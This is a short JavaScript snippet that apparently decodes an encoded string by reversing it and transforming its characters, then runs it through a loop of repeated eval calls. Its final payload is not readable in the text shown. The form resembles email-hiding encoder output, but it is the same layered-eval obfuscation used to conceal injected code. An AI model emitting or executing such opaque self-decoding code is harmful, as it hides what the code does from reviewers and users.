var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=49){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")91,\\\"0:2!%8d+?it.120\\\\630\\\\R010\\\\630\\\\620\\\\" +
"720\\\\020\\\\400\\\\020\\\\430\\\\700\\\\320\\\\420\\\\430\\\\200\\\\400\\" +
"\\-730\\\\610\\\\600\\\\010\\\\330\\\\YD9720\\\\6B520\\\\300\\\\>*33030\\\\" +
"x500\\\\e2:!='rs410\\\\$;c#(d:,()\\\"\\\\6&*5!ZRPV{I\\\\\\\\TVE710\\\\[G^XQ" +
"B410\\\\q120\\\\MO[@700\\\\G130\\\\600\\\\310\\\\LMEkwok5nw}zcv{w\\\"(f};o " +
"nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i;l<i;0=i(r" +
"of;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                           ;
while(x=eval(x));